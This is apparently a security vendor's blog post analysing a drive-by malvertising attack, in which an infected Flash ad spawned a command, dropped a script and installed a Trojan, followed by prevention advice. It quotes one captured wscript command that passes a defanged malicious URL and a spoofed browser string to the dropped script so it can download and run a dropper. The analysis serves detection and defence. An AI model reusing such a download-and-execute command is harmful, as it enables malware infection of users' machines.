The Digital Guardian MSP team recently detected an endpoint being compromised via a website (original web site intentionally not revealed) serving an infected Flash-based advertisement. Flash-based ads are a common target and attack vector for malicious parties seeking to compromise website visitors by serving ads that are infected with malware in a technique known as malvertising. Major websites – especially news sites – typically rely on web advertising as a source of revenue, and malicious parties know this and use compromised ads to deploy "drive-by" attacks. In fact, a recent example of drive-by malvertising made headlines when business news giant Forbes was discovered to be (unknowingly) serving malicious ads across its site.
So what does a typical drive-by malvertising attack look like in the wild and what can be done to prevent against them? Let's take a closer look at an example we discovered recently. This attack was discovered in the wild, so we'll start with the moment that it was discovered and reported by the Digital Guardian endpoint agent and work back from there in our analysis.
Analysis of a Drive-By Malvertising Attack
A drive-by malvertising attack begins when a user visits a website that is serving compromised content, typically an infected advertisement or Flash file. The attack in this example was detected when the DG Agent alerted of an IOC in the user's browser activity - in this case a CMD.exe being launched from the browser that is making a call to a system script, a common symptom of a compromised Flash file:
The command is obfuscated, making it harder for network devices to identify it correctly:
By listening to all the command lines after they ran, the agent was able to capture this command prompt, and within that initial command we saw the obfuscated code generate a javascript file:
The script file was stored in the system's temp folder and then executed using wscript, a built in Windows tool that executes scripting languages. We see from captured script calls that a key value is passed to the script, including a URL and what is clearly a browser identification string:
wscript //B daf.js "gyqtqlsnmk" "hXXp://pbprzduub[.]ynlhdwinegwyalgc[.]ml/2005/02/25/minister/concentrate/wail-fang-pass.html" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 1.1.4322; rv:11.0) like Gecko"
The latter is commonly used to make it appear as if a normal user browser is connecting out to a website. In this case, the script connected to the website listed in the command and then downloaded a temporary executable (dropper):
The script proceeded to execute the dropper, which in turn installed a new executable, syshost.exe, in the user's localappdata folder. This executable is in fact a Trojan which can be used to further exploit the endpoint. In this particular case, the customer had blocking rules in place for this type of threat; as a result the dropper and Trojan variants had already been flagged and blacklisted by the DG Agent.
How to prevent drive-by downloads and malvertising infections
As an end user IT organization wanting to prevent this type of attack, the best solution is to remove any dependencies on vulnerable plug-ins like Adobe Flash. If you must run Flash, ensure that updates are deployed on a regular basis - automatically is best, whenever possible. Traditional network security tools like firewalls and anti-virus can help defend against known malware attacks as well. Finally, data protection tools with robust endpoint detection capabilities are a critical last line of defense for stopping a drive-by infection.
As a website, service provider, or host, remove your dependencies on using Flash on your pages and require HTML5 for any video/animated content. If you do have ads, regularly check the reputation of your ad network or require that your ad network provide you with HTML5 based ad placements.
